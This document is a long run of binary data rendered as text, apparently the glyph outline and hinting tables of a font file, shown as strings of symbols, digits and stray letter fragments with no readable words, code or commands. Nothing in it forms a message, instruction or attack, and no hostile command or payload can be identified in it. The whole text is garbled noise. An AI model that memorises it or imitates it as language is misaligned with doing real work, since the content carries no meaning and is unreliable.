U&++++<<+9/++++<99?<<1_u=3oZ\%)gvۍG2)1v@,Tc   U U@ UU̴ 4 2/+3/++++2/?3//?<10]%3!5!4&&#"'63  BAjX1@V#/8 4K Y j {  #      @ @ U U/]++2}/]323/833/99?3??<<<|9/]399.+}ć.+}10]#"#76634&&#"'632bI{R;TKIVG=0Ca4o[VY6 f-%Q@   U U@U U̴ 0]]++++?1@ )6ZZij @K   U    U?_ @ U U U +++3/]+3/9?<<?B @*/7GSYY S S\\S  &@ U U@ U U@ U U U U UU@ & U@ U U U U UU+++++++++++++++++??10]432#"732654&#"Zؔpј6u1%@5 yyu u ;i@6U  U 3/]3/9/+3339/?<;+\%qHHn{mNL7YI(1h+ ; I @  / @ U UݴUU++++3/]3/?3??1088]63 #4&&#"(B>k \d*%!@F+/#15==1HHY\Zhjju r tvy! !@UU!U ! Ƶ# !"229/+++?<2 lg&&&&=3oZ\%)mpۜ>%%%%2)1& @ `A)++]51&F(@@$$ $P$$$$$A)++]q5-%&N @  A)++]5@1& @@pA)++]5%W ӷ  @U U@CD4@=5O@ /@4/+qqr++++??/10#2#"&5466š%&5&%%q&&+)%;%"@ $$Pb@ ' U  @+ UUU@4O@4̳$ /]+/]q++++3/+9/??/]10]"#54'&547!5!2#"&&546; %&%0TfjJ1q&&&#1@;&@ (!A)++5%f @  @"U U( U@CD4@=5O@ /  @4 /+qqr+++++?3/]9/10#2#"&5466š51#5&%%+)#1,(&(h1&@ A)++5PV7&("@ U"`"p"" A)++]+5<F&97!U! U!!@ 4!A)+++]++5P>1&?@ %A)++5<<1&b1 U 4A)++]++5Z>B (@!/*\\S 7GSYY S S"@ / @&O&_&&&&&&@ U U@ U U@ U U U U UU@ *& U@ U U U U UU)+++++++++++++++++9/]q??9/]qr10]]432#"732654&#"2#"&&546Zؔpј#%&%06u1Y&&&#1nh1(@ "4 4IK[)8=@!!l )  (4UӶ%U%@ U%@#&4%@4%%  U@ UU#U/@*  U U U )+++]++++9/+++++?3/?9/3/1088]]++327#"63 #4&&#"2#"&&5466&\-6D?~b %%&'z 5uN%%&%s7 -@MKz//==!@((l   #4>%+@ U+U+@!#4+@4++&UU U / @U U  U .+++]+++9/+++++3/3/?3/?3/9/3/10]]632!"'732654&#"327#"&52#"&546z8q.b¢TR{ 'Bb %0$#105G?Ĭ{I%$00$#1 f%&e+ U@ U AG )+q+++5h%&:@#U#@>C4#@374#@4#p##A)++]q++++5(1& @ UA)+++5d*%!.@Z/0 yjju r tvHHY\Zh+15==1"@((! !%Ӷo,,,@UU!U 0! Ƶ0 !/229/]+++9/]?<2 lg=3oZ5k%)mpۜ>$  ///10#$H %@ MM  4@   @ 4ض@??4@44 @4@[\4@&)4@4" 4 @+-4  @ @+-4   @+34 +-4+-4ַ"+34/3/+]+]+2/+]+]+/+3/++++<<3/+++<+</10]r#'7'77'$H1111m1111 _@6 rrr  "()4@ 4/++<<</<<9//10'7!#!'71GQ11b1Q# z@. @ 4r  r  r   ޳()4@ 4 @ 4  +++<<</<9//10+#!'7!#G11Q11C 4 4  4/3/+9/9/3?3/++310#"&54767P?MfX+V!;75Tkp7=76(G660] 4 @ 4 @  4/3/+9/9/33/?2/]3/++310#"&54767#"&54632P?MfX+V!;7C00GF11B5Tkp7=76(G660"/EE/0DBC'3̳4@ 4@4@ 4 %@ 41+(. @@4""(.$/3/3/]3/+9/9/?2/+?9/++10++#"&54654&#"'4774'&'&54632#"&54632$)@2Bn@4AS*@* =J~ KxI41HI43F>/5B,DD"*I51Lt"izBR 48BpYol3IJ24IJy3$ 4!@4@4# 4# #   @ ##&@ 44 /9/+3+3/3/9/9/9/?3/92/9/+9/+910++'6767'&54767632&'&#"60bq] t3(0>PQK1 (4%='0h0%P+(#FZ/:@ 9 %# -3 4339%%## @9 0%5)#0 4005@ )@ 4)) 44/++2/93/+2/+9/99999?2/9/9/2/+9/9910'#67654&#"6763267&'&5476324&#"6V.:GW(  ."&E?'+5&G %A"  /)C6$B % #F7B*/ //4&U&F[E  4 $/<3/<?3/3/+2/10%4764764Z,S4Z,S[/,#Q,(";/-#R+*#Fb1#$/3/?3/104764Z,S1.-#Q,(#H(' !@ 4!!' ' @  '$$ $4$4$4$/+++2/3/2/99?3/9/3/+9910'##6767&'&54632'4&#"6S2J2I5G@!M-*  K& ,}$27H83'Be8()7 ]."F#$/3/?3/10%4764Z,S0,#P+("F(@%&!&@ 4&&! &%%4 4/++3/23/299?9/3/]3/+9/999910#"&'#"&546773276773276573 #** +  &K06 $ 922 $ #8K1 2(+/FQ -  /3/?2/10#"&546324&#"326Q\C66P;6Jb<6MwZWD-# | @  4 /3/99+/3/10&'&'667U0 U#"89&Wle0"D[v_1,.%; @ 4 @ 4 /3/+9/9+??9/10#474'&'&'7":-O(J`O0D#*ZwsԸ~@Z_Qs%! @ @4@4 4@4@ 4/3/+9/9+3/++???9/9/+9CTX@4+Y10#"'#'&&'7327677!49h 8&L0BC4_jp+ nBHP/OԲCU_.TK)k#]%) 4$$ @ &A   !!'&@ 4&&  @ 4 4/+3/+9/9]33/+9/????9/9/]9/910+#"&'##4'&'73276733273_c9T"hI% (8D4I4!\UUeJ9mL]o%XKFGLD??DY ")=9<3B#W !-.LdMbDG)+$ !HBAM)0 !@@@4 4@ 44/3//2/10+++#"'&547676324'&'&#"326guyFP,2FV\vJPCe]/B,$E?|zq*0[Qbx9B7-)ZIHR&#I@G(o( 4' 4 4 @ #@4##/3/3/+993/??9/+9/9910++&'&'&54767#"'&5465732767G&A!8$0J/0&$.jOcU .$+%=[o:=  N!"7%g3WAnWH%@ 4&44 4@4@ 4   4 @    G/333/3/333?+??9/++9/CTX@ 4 4 @ 4+++Y10+++#'376)@ǣ$eb? 'YV^3=1@T4&44 4 4 4  4@   G/333/3/333?+??9/++9/CTX84j4 4+++Y10+++&'#6763$1+ *[tG[WFV]) [/@Z'*. 8 P@ 4    /9/3/9//3//3/10]+#"&54632%##"&54632L76ML77L>mDL87JK66N7NO65JHGz6LL66ON0"9 4 4 @  /3/9/9/3?33/+3/+10'6765&'&54632&;"J*E)1%)K69VUI;9!777-( $<6MP:dgs 4#@2 4 #0qe6kY 4B 4YBGN,9ak*qFU;`kGq 4qqTGkkkN@ 4\ 4 \_QahKn? 4&@ 4?&,P333FGTUn`ah;*n,ah@ 4hh9,n@/3/+999992/q99++99993/q99++?3/]3/+9992/99++999999++10#"''#"'#"&5467'#"&54767&'#"&5463267&'&546327&'&5463267632676324&#"326d,!5JJ vV%4j  ! !$"!.0$VqC!;+!+*",k3=z;E(* 3#'"D6`*<  it8K`A2k۴qF,{@# 4 4! * @4 *@ !* 4.',/3/9/39/+399?9/?+9910++7#"&'#"'&54732654'&'326Bi\AJk0,Y/_=APM(0AWP)0@'1D=+Gжxiw%47_q 3'J|+CYRgJ@J-{#y 4 4  @@4@ 4###"/3/3/39/39++??9/9/9/9910++47"&54676632&&#"3267XGQNK;v-5sK IM1}l_V{-b^hDM-.?>/YJRV_ C26<"8"Xa!!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ FW:ι@ @ 4 @ @ 4 $*783./#*//$88$$*3* @ 4 /.'$#877/#$$/.4. 4.$/++3/23/299/+<3/<?9/3/2/9/99993/+3/3/+3/10476476#"&'#"&5476773276773276573[,S\,S3! #)++   &W.+%P+(#>0%P+(#L06 " 91$$ #8K1 2)-1!!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ %/?10!5!a%!!%!! @ !!%!! @ !!%!! @ : $($44(4@ 44 4!#"$$%'&((@ o     A "$!##% &('%%A @*  4 */2/+2/9/9/993/993/99???93/]q993/993/9910+++++!"'&547673!54&'7'7'7''7Fr*9|oO6AM, DEJLJM"KN%CT]a#b..G8vA:p27pTVZU: 44 @ 44 4  @ o      */2/9/9/993/993/99??3/]q993/993/9910++++%'7'7''7%!5!4'&'7JLJM"KNKNH8TVZUv>+Q[3M!!!%!! @ !!%!! @ !!%!! @ !!%!! @ 6N u,04844.48@4) 4* 4y* 413244.57688-/.0@ 400  241335.0-//687@5@ 455 :'*/3/3/33/999]9/+993/993/99?9/99?999/+993/993/9910+]+++++"&#"676323263!3#"'&'&547676'7'7''7L@P4Z(#KB_Ep%Ӕ{F:؏XdOBFJ6F4@4J@4 4 * 4y 4GIHJJA?B@@CEF@DDD84=)%03"4-%%34=DFCEEAHJIGG@BA@?@4_????83@99""3433L))*/3/3/33/999]9/999/]+992/993/99??9/99?99999/]CTXDD]Y992/992/9910+]+++++#"&54767!3#"'&'&5476767&&#"67632326733'7'7''75yf WXoF:؏XdUB%(Y$e?n"%SaM3a5()4!:2KJLJM"KN%Zh':$4%DVll^ (0jyǫdSZ b&T%  8RۑTVZU=k"44"4! ""   "!@ T 4$/9/+9/9/993/993/99?<2/93/993/993/9910+++!5!&'&'&#"676323'7'7''7=}/fFWHQS34/DhfEy+TN}Mb@()qzJUel/ *""sVj[Z4bZHnF)"+0s~9=XpTNT&m,!%vE*ֳ4!4/4,40 4.@ 4;k= 4 44(4(ܳ 4(@ 4A(#A "  78@ (_((( ##8@AA 8G   4 */2/+9/9/9/]99?<TNѫF;@()XG=5!I/-=-{RZ,Q1 3ow%9=XpTNT&m,!)1YC.&Z4bZHnF:#0CA8<%Z9&3T)i? 1dk%'@4 4;k 44ܳ 4@ 4   @@o/_  */3/9/]]]99?TN}Mb@()qzJ%j[Z4bZHnF)"+0s~%6ܹ/ֳ 4& 4441 45 43@ 4T+T2D+D2; k $ 4 4-4-ܳ 4-@ 4-"-(A ' "@ ---((8*/9/9/9/]99?<TN}Mb@()XG=5!e9&3T)i? 1dk)1YC.&Z4bZHnF)"+0CA8<%%,7@04/ 46 4@4 4;k 4*43 2 -... 4ܳ 4@ 4, A   %$ ,@ . 22@( A 9% $ 4$$( */2/+3/9/993/<?TN}Mb@()qzJUel/ *""sVJظ] j[Z4bZHnF)"+0s~9=XpTNT&m,!OYN?j$~FO%vEP3@I4H 4O 4*ֳ4!4/4,40 4.@ 4;k= 4 44L#K"FGGG"(4(ܳ 4(@ 4A(#A "  78@ G#KK@ (_((( ##8@AA 8R   4 */2/+9/9/9/]993/<?<TNѫF;@()XG=5!I/-=-{RZ,Q1 3owظ] %9=XpTNT&m,!)1YC.&Z4bZHnF:#0CA8<%Z9&3T)i? 1dk˩OYN?j$~FO%'(@! 4' 4@4 4;k 4$#4ܳ 4@ 4  @ ##  @@o/_  **/3/9/]]]993/<?TN}Mb@()qzJaظ] %j[Z4bZHnF)"+0s~/OYN?j$~FO%6A:A@4? 49 4@ 4/ֳ 4& 4441 45 43@# 4T+T2D+D2; k $ 4 4=(<'788'-4-ܳ 4-@ 4-"-(A ' @ 8(<<""@ ---((C*/9/9/9/]993/<?<TN}Mb@()XG=5!:ظ] e9&3T)i? 1dk)1YC.&Z4bZHnF)"+0CA8<%COYN?j$~FO2;&@4)44*4 4!' A 9' 4 03 @ ,$,@=! 4 $ 9/2/+3/3/99/??+??9910+++&&#"332!"'&54767673276654&##"&54767632 #a2W`X+5PHE`^f".<*?Cx+B71Cs}TeP$6 @ 455@ 4,," 45& / @8  4 9/2/+9/9/??+9/9/+3/910+#"32!"'&54767327654&#&&#"&54767633])0Q0{@b(&%9zՏm#s?6IVND"*"$>t>DhmC7 !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ 0w-Vb@ a # !+Z 4ZZa##!!@K5F2STOJK?FKK@TT@@FO22F9@ a W#]'!W 4WW]@ '@ 4''@ 5KJC@?.TSSK?3:??4HH44:C%%:,@ TKQKKQ @ QQ(?>743!HGG?/344?>4> 4>$/++3/23/2993/2/3/2/999?9/3/2/9/99993/+3/9/3/+99910"'&'#"&'6767&'&54632#"&'#"&547677327677327657'4&#"66#'#9<8L0: G-/   3! #**+   &Q#1  1& "!+U)# K06 " 82$$ #8K2 2)-1( F)1@&'"''"@ @4 @ 4 0*,,0.@**.@%(4.'&&4 4$/++3/23/299/+3/?3/3/++9/3/2/9/999910#"&'#"&5476773276773276574763 #**+  &3Z,S}K/5 " 82# $ !7J1 2),1/-$P+(#!!%!! @ !!%!! @ ///10#!$HbGQ$///105!#QHG !@   /<//<10###!!!HrG !@   ///10!!5!###rHGS@ ////<]10###!H @@  @4   /9=/<<//<+9=/<<<10#'77'$Hb ׶yyx #@    ///103#5!3###HGG)@     ///103#5!#3###HGGG !@   ///<10!!!##HFHS///<10#!$H,l@ /9=///<10##$HSW$'@ /<<//9/9/10##$HHH'88W' @   ///1053#5!#3WGBGGGW'///10#Hnw W$'@ ///10]#'$H'0W'///103!$'wGJ!'@/) !)i.@%) .0@>")> > i@)!?O>>>8H(y+?N]M]<]<M]<]<9999999910]'76327'#"''7&5432654&#"ՋsjitGGtijsGkklkwHHwn}~nwIIwn~}}llk #.48DHLRY`h@wz&S%c%#%3%C%Y=i=)=9=I=YAiA)A9AIAV;f;&;6;F;VCfC&C6CFCfhbdV`f`Y[i[**c*****u***3*C*S*cBB(-Wo]?]O]_]]]'VP(/(?(O((/ OGG23/3g<^P''O'_'' '0'@''R F"OM7K R6JMap999@9P9`999'W0^^'''_'o'@f''''$U-e-%-5-E--S++_oZP$$o!6 5## ! #j0eeo??????O??IJN/MMN1EQ2FN/]/]qr]q]]]q3]]]qr]]]/<<<<]]q]/<<<<]]q9/qq910]]q]]qq]]]]]]]]]]]]]]q]]#5#5!!5!#3#"'73253!5!!5353!#32##!!5!#"&54632#3!5!!334##324##32%#"32dCC?ddV4I(_tC~dYwdC~CddCdYeo|~ddd~C-Od?d ĺ[6.C?d{C~ddCcm !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ !!%!! @ S0HH 44 4 /3/</3?310+++&'&'&4767670,h3g9JJ:f5d.l8<"8-}N౞Sy*K]SHW|@!!%!! @ % /|O@#%-.)$%!%%...@ 4!)!@c~9W=@C~~IIPPwccWCk55W==C%$ .--%$@%%c9Zg_@ccwPgg0TFI~}@TLPPT4T@ 4TTF5n0s ww00F/3/3/999/++3/99/9/9/993/2/23/293/2/?<<9/2/<9/9/9/9993/9/3/+2/]9/99993/3/9910&'&'632#"&'#"&5467732677327677"'&'#"&'#"&5467&&547673267&'&547673267&'&54767'3263 6 %%5)%  !** / & " wL=.(80?A{(p5p   C9.3'; $ 'B#:$X.4#72<Q=5-*$9 *jHk 6-- 0#U(()&%2&#;DL<;M!TL4"*"&RR{j70< '#*"%3wrI&.-'* )"+%"To #8 !y3 +@@?4  ?4 @ @ 4'$' @  $''/9/39/2/33//3/??93/+3/9/+99/+910#"'&#"'67632327'6654'&'667)02-c   & d2!54F2!31v ! $  PK(W L hu{,f-rt%-@+-@?4--'+#"?4""'+@ 4   @--""## @ 4 /2/9/2/+3/33//3/??3/+3/9/+99/+910#"'&&'.'&'733#"'&#"'67632327֌D)$%  '{' "!b)02-c   & d2!54%70q{'0$xh|2* ! $  V n 44 4%$-0@ *4004$@  -00(%$$ (;/9/39/9/2/3/9/99??2/3+/9993}/+910++47&'&547632&#"326'6654'&'667n*d5;- $+]!2!31f @.#8> 4PK(W L hu{,f-rt% 6 4,-@ *4--46!@  @ -,@ 4,,--&11 8;2/9/2/+9/2/3/9/99??2/3+/9993}/+10+47&'&547632&#"326#"'&&'.'&'733(*d5;- $+]!̌D)$%  '{' "!f @.#8> 470q{'0$xh|2*2cuq *J͹-@ 4@ 4@ 4@ 4@+B2H0:@BBH@4HH0@ 400  %%!  @ @2==E++E006EE(( !L 4 ;/+39/2/2/3/9/99?2/?2/93/+3/+3/99910++++#"'&'&'73276767"'&547632&'&#"47&'&547632&#"326uzBF3RAA8{1zmUU+OCL08VW&?')XM*d5;- $+]!a # >1]/j+1pgXfeO`% %13 @.#8> 42cuq-@R4@ 4@ @44  4%$-0 /$$@  (-00(%$$ (;/9/39/3/3/2/9/99?]?93/+]+3/+3/99910+47&'&547632&#"326'6654'&'667E*d5;- $+]!+2!317 @.#8> 4gPK(W L hu{,f-rt@6@ 4,.4&@ ..4@444 4   @ ,))11"@1@ 41@ 411 @ 4 8;2/9/2/+2/++2/3/9/99??3/+]3/+3/99910+#"'&&'.'&'73347&'&547632&#"326֌D)$%  '{' "!*d5;- $+]!%70q{'0$xh|2* @.#8> 42q;[> 4&@4)44*4 4Q1Cs}TePk @.#8> 4$6V9 4 @ 4L7N>TIIQ77Q< 4%Y ,@ 44 4" $*@ $$*@4**@ "' '''.;/2/9/9/2/3/9/99??3/3/+3/99910++!5!4'&'747&'&547632&#"326KNHl*d5;- $+]!%v>+Q[3M @.#8> 4%Y R3   /9/39/??910'6654'&'667R2!31$PK(W L hu{,f-rt%<   @ @ 4 2/9/2/+??10#"'&&'.'&'733֌D)$%  '{' "!%70q{'0$xh|2*: @ 44 4   A  A @"  4 */2/+2/9/9/99???93/9910++!"'&547673!54&'7'7Fr*9|oO6AM, DNJ%CT]a#b..G8vA:p27pT: ]4 4  */2/9/9/99??3/9910+!5!4'&'7'7KNHfNJ%v>+Q[3MT , '@ 4%% @ "")"(/3/9/9993/993/99?2/99+3/]993/9910'7'7#"'&54767'74'&'326NKALJ.GI07# !=#xWn/6- 908ːVTGn!=F\NO_T&?1 '#39?%%&/ @@ 4'+( . ((.ﵐ& @ @+#('  +1+/9/]999/993/99?2/]2/2/9993/+993/9910]'7'7#"'&'#"&5467&&5476733'32NKALJH7)\3s  !Wd"81<АVT[{\8>VND"*"$>t>DhmC7 :%$@ 44 4@ @ 4 A    A @&  4 */2/+2/9/9/993/99???93/+993/9910++'7'7!"'&547673!54&'7NKALJ`Fr*9|oO6AM, DVTzCT]a#b..G8vA:p27p:%%V{4 4     */2/9/9/993/99??3/]993/9910+'7'7!5!4'&'7NKALJKNHVT*v>+Q[3M%V:% (@ 444@ 4"4 4  @ @ 4 $A #$  $$##A @ *  4*/2/+2/9/9/993/993/99???93/+993/993/9910+++++'7'7'7!"'&547673!54&'7MJhNKALJ`Fr*9|oO6AM, DcVVTzCT]a#b..G8vA:p27p:%%  @ 44@ 44 4         */2/9/9/993/993/99??3/]993/993/9910++++'7'7'7!5!4'&'7*MJhNKALJKNHVVT*v>+Q[3M% 6N u0@- 4* 4y. 4@ 4 #"$@"$##2 +*/3/3/33/999]9/99?9/99?999/+9910+]++'7"&#"676323263!3#"'&'&547676UM}L@P4Z(#KB_Ep%Ӕ{F:؏XdOB@ 4 * 4y 4A?@B@ 4BB84=)%03"4-%%34=@BA??83@99""3433D))*/3/3/33/999]9/999/99??9/99?99999/+9910+]++#"&54767!3#"'&'&5476767&&#"67632326733'75yf WXoF:؏XdUB%(Y$e?n"%SaM3a5()4!:2KMM%Zh':$4%DVll^ (0jyǫdSZ b&T%  8RU=k\  @ T 4/9/+9/9/99?<2/93/9910!5!&'&'&#"676323'7=}/fFWHQS34/DhfEy+<KN%O,7J-Ad2m yT=k6N u,u@) 4* 4y* 4  @ .'*/3/3/33/999]?9/99?9910+]++"&#"676323263!3#"'&'&547676L@P4Z(#KB_Ep%Ӕ{F:؏XdO@ 4 * 4y@ 484=)%03"4-%%34=83@99""3433@))*/3/3/33/999]9/99??9/99?999910+]++#"&54767!3#"'&'&5476767&&#"676323267335yf WXoF:؏XdUB%(Y$e?n"%SaM3a5()4!:2K%Zh':$4%DVll^ (0jyǫdSZ b&T%  8R%=k<  @ T 4/9/+9/?<2/910!5!&'&'&#"676323=}/fFWHQS34/DhfEy+<%O,7J-Ad2m %=k6N 0@- 4* 4y. 4 #"$@"$##2 +*/3/3/33/999]9/99?9/99?993/9910+]++'7"&#"676323263!3#"'&'&547676MKL@P4Z(#KB_Ep%Ӕ{F:؏XdOH:%B-&>%)m-U_%j_%oft @     */39/9/9/99?2/9/3/9910]'7!"&546733!4'&'7NI@9[  *2>H:VB-&>%)m-U_%JFpr@ * 4* 4 4 4@ 44 4  :  /32/9/??910++++++#"'&'&'73276654'&'7^RztKEP=UHGB:~.%C9R',%nvhKH ( RK\OWFJLLVjJFpJF"@ * 4* 4 4 4@ 44 4 : $/32/9/3/99??93/9910++++++'7#"'&'&'73276654'&'7SMK9^RztKEP=UHGB:~.%C9R',ȑTnvhKH ( RK\OWFJLLVjJF>lWF@ 4@4! 4&4 4AAB:45,BB(55'( :, A145@ 455A ((''''#, @ 4 ABB?AAA=A @H  4*/]2/+2/]9/9/+<2/]9/9/+99??<?9?9/9/99/10++++#"&'###"'&546767327654'&'7327654&'732654'&'7O<[/*!/Z{,9ujt*$6(F-%5S2{_(#(%)K&C/ %!$& \WqBSFMVY6pE|CSdZGAR?Y4;#lW%?5;@5 4 )*"6**7667 /" 2* &)* 4**6@ 46776@ 4662=/2/+9/9/+99/+999?<<?9/9/9/999910+#"&'##"'&'##5327654&'73327654&'732654'&'7?M@\&/#3YA44"20PZQ#:) &.@CK$(*'":!)*A)%# %  $E:$<\*I%-9:"<^o+&!8> 7m>-Dq%?5>l Ro@ 44@ 4L 4*@4- 424 4  @ 4MMNF@A8NN4AA34 %+$F 8+ IM=@A@ 4AAM443333/8@ 4M(NN?MMMIA @ T% $ 4$$(*/]2/+2/]9/9/+<2/]9/9/+999/993/993/99??<?9?9/9/99/3/993/993/9910+++++++'7'7'7#"&'###"'&546767327654'&'7327654&'732654'&'7~MJhNKALJO<[/*!/Z{,9ujt*$6(F-%5S2{_(#(%)K&C/ cVVTz!$& \WqBSFMVY6pE|CSdZGAR?Y4;#l%? G@ 44@ 4A 4  @ C56.&''B66CBBC ; . @ 5>6'256 466B#&'@ 4''BCCB@ 4BB> I/2/+9/9/+99/+9999/993/993/99?<<?9/9/9/99993/993/993/9910++++'7'7'7#"&'##"'&'##5327654&'73327654&'732654'&'7!MJhNKALJM@\&/#3YA44"20PZQ#:) &.@CK$(*'":!)*A)cVVTz# %  $E:$<\*I%-9:"<^o+&!8> 7m>-Dq%?>lW1>@44 44 45-- <";2""2A @@  4 */2/+9/3/2/9/9??<?9?9/10+++!!"'&546767327654'&'73276767676324&#"!26\rjt*$6(F-%5S2wfXaRAJYD?{RHY?aIH`r%hFMVY6pE|CSdZGAR?Y&!Gg4OI17 2&&'>lW%>%0[ !))-  -& &2 /9/999?<2/9/9910!"'&'##5327654&'73276767676324&#"!26N61%2*T\Q#:)#=AXTqzX QBJXE@zQdqpmd%$E;#>l5B̹@44 4 4 4"911!" @& @ ?6""!!&&6A @D  4 */2/+9/3/2/9/99/99??<?9?9/3/9910+++'7!!"'&546767327654'&'73276767676324&#"!26/LJ>\rjt*$6(F-%5S2wfXaRAJYD?{RHY?aIH`rdTlhFMVY6pE|CSdZGAR?Y&!Gg4OI17 2&&'>l%)4z@ %  %--1 1 * *6 /9/9999/99?<2/9/993/9910'7!"'&'##5327654&'73276767676324&#"!26ILJ N61%2*T\Q#:)#=AXTqzX QBJXE@zQdqpmddTl$E;#9/I  #- 1jC=ibI_NXAE%5,e/k^B_9/I  #- 1jC=ibI_NXAEȑT5,e/k^B_E&#8gM\\3I;P-8xYsωu]^-d" #i(`*/K1"C8\j/2DAQK]G %n4/  @4 4  /3/3/33/9+99?9/]?]9/910+##53&&54632&&#"66Es$ś{P"QEn;cN]7K/w8v<b=21y//%'X(j@ $(4(  @$$$P  * /3/2/]9/9/9?<2/+9/9/99910#"'&'##532767'&#"#54763233'ACP$CViZZTHRO* (:5qG]%H[%%BE&#8gM\\3I;P-8xȑTѠYsωu]^-d" #i(`*/K1"C8\j/2DAQK]G %!4@ /   @ 4 4 # /3/3/33/9+999/99?9/]?]9/93/]9910+'7##53&&54632&&#"66KLFEs$ś{P"QEn;cNȑT@7K/w8v<b=21y//%',@ ( ,  4 ,@$ (((P$$$$./3/2/]9/9/99/99?<2/+9/9/9993/9910'7#"'&'##532767'&#"#54763233LKACP$CViZZTHRO* (:5qG]%H[ȑT%BFUc,%h/"!)XHNYwQ(W[%~ *0G]jwubW/8)%1'%Os%$%t@  # # @  4  !! '/9/99+9/99?2/2/993/9910'7!5!4'#"'&547632&'&#"326MJ)4.#I.528ZzB7*&#X4yVVYN %*Oht$%2-P%!j@  4    #/9/99/99?2/93/2/9910+]'7!5!267&'&547632'&'&#"XSW>W33s7>Yf5*Z):(OK`~ 2xi]igP'K,L Fgw5BѳT  4@ 4!@ 41::)@@ @ 6 4&6#-==#A @D  4*/]2/+9/99+9/993/99??99/3/2/993/9910+++]'7'7!"'&54767327654&'#"'&547632'&'&#"3262NKALJz&#A* nfՠ &M'X7C:AYuD: *0-:%-"VTh]PWvxxF6J5C?>9FQ3-(0aqgt>).#$Fgw%$)@@ 4" '""'  @  4   %%  + /9/99+9/993/99?2/2/993/+993/9910'7'7!5!4'#"'&547632&'&#"326NKALJ4.#I.528ZzB7*&#X4VTYN %*Oht$%2-P%%@  4  " ""  ' /9/99/993/99?2/93/2/993/9910+]'7'7!5!267&'&547632'&'&#"U}ViO{SW>W33s7>Yf5*Z):(ORQ 2xi]igP'K,L -%3(I%84 @ /H# /&&&H@ @ 4 2:=>353%'IB@&>2SSQ!@ ('K-J.&D!O#N%'I#v@  4 4! 4   #    4 % /9/+99/9?<9/2/10+++#"'&'##5327676767'&'&''hCTaJ:yt[G7-=YPCE)7s &0!$:%#=G7.$AXA:iTrG:8/2 !2'>%'IEl5v$ 4@4 4 4 A ! @ 4!! A @&  4 */2/+2/9/9/+99??9?3/9910++++'7!"'&546767327654'&'7KHjt*$6(F-0S5($ViqFMVY6pE|CSfXN:QEl5v%[ 4 4   */2/9/9/99??3/9910+'7!5!4'&'7LJKNH‘Tv>+Q[3M%6 q%'n@ # & &@  #)# /9/]99?2/2/2/99910]#"'&'#"&5467&&5476733'32H7)\3s  !Wd"81<%{\8>VND"*"$>t>DhmC7 p(5C@: 4:-=2-#4##--2 A @=:2)# 40##)00 )@ :@ 4:: 6E /3/9/+9/9/9+99999??9/2/3/+9/999+10#"'&'##53267&'&54677667&54767%4'&#"6764'&'326$'')pgGt5C[ZZ)LA c!E,@a{G^..Pz+8#3)%<=2 :GM40.B #/S7=ts+=+)C#J/51U'o)4&"."" 22@ *. &. &. * **6/9/9/9/3/999?<3/3/9910!#"'&57#536767632!%4#"6764'&'326'@-9@xdx#*5:C;/.(+<5[>H(t_\5@#%7EQN/;SdH]Pe@Jl=X7!C_^-i&,OI<nGV2cu *u@ 4@ 4@ 4  %%!  (( !, 4 /+39/?2/?2/910+++#"'&'&'73276767"'&547632&'&#"uzBF3RAA8{1zmUU+OCL08VW&?')Xa # >1]/j+1pgXfeO`% %132cu25$62V;?Cչ&@4)44*4 4<>?==@BCA!' A 9' 4 0=?<>>ACB@@$3 @ ,$,@E! 4 $ 9/2/+3/3/99/9/993/99??+??99?993/9910+++&&#"332!"'&54767673276654&##"&54767632'7'7 #a2W`X+5PHE`^f".<*?Cx+B71Cs}TePߐVT$N6:>33 @ 4:44 4,./4,,"@ >79::88;=>>< 4<58:799<>=0;;;/& / @@  4 9/2/+9/9/9/]993/99?2/9?+]993/]993/]9/+9/+10]+++q#"32!"'&54767327654&#&&#"&54767633'7'7])0Q0{@b(&%9zՏm#s?6I+Q[3MDVTr@DNe0@TVJOce@?4ee_c[WZ?4ZZS_WWc@'SS.<;K.7 4H7#K##@ 4##.KK?.@K@eeOZOZ[[#*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 g@**/]3/++9/9/+2/3/93/3/9999993/33//3/???9/9/+]99+99993/3/9/+99/+910]'#656767&'&'&'&#"#"'&'&&5476326765'4674&'276#"'&#"'676323270;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2U)02-c   & d2!54F[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$  ! $  I>UD44ֳ4)ֳ 4(@ 4[+"@% 4+* 4*J 4)T 4(@ 4?SU@?4UUOSKGJ?4JJCOGGS@CC @ 4  0@ 4>03'&&>@ UU?J??JKK  4@ 4 7- 0033-77W&&/3/2/3/]99/++3992/33//3/?3/??9/+9/9/+92/3/9/+99/+910+++++]+++++&'&#"#"'&'&5432#"'&54&5!5$767654&'76733#"'&#"'6763232708nzF:I,;)Ht=T3=`KY n!$=)02-c   & d2!540}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$ ! $  & DNn@Q@, 4TVJ<;K.7 4H7#K##@ 4##.K?K. 4..T?OdfVlTT4Tllf^@ 4^K@ dVaaiOOiTTZ@@ii#*7HK@@ ??<<;;  @ 4*E@ @ 4 @ 4 p@**;/]3/++9/9/+2/3/93/3/9999993/2/3/9/99??+2/3+/999?3/+9/9/+]99+999910]+'#656767&'&'&'&#"#"'&'&&5476326765'4674&'27647&'&547632&#"3260;"%P&jruF #T!  /)-$ )NEUKIf-/C9,Kw:v2U4*d5;- $+]!F[~F(?A%4# LA[7<+#,'9.=+>#5NFreuJ^x!Bk,+$+/6'f$  @.#8> 49 >^NA 4)ֳ 4(@ 4[+"@/ 4+* 4*J 4)T 4(@ 4  @ 4 @ 4> >03'&&>4@ 4DT?VF\DD4D\\VN@ 4N@ TFQQY??YDDJYY  4@ 4 7- 0033-77`&&;/3/2/3/]99/++3992/2/3/9/99?+2/3+/9993/++?3/?9/9/+9/+]910+++++]]+++&'&#"#"'&'&5432#"'&54&5!5$767654&'7673347&'&547632&#"32608nzF:I,;)Ht=T3=`KY n!$=*d5;- $+]!0}4#,:NX?[eW[n6ct& Q;^{bYT1"sc~6$ @.#8> 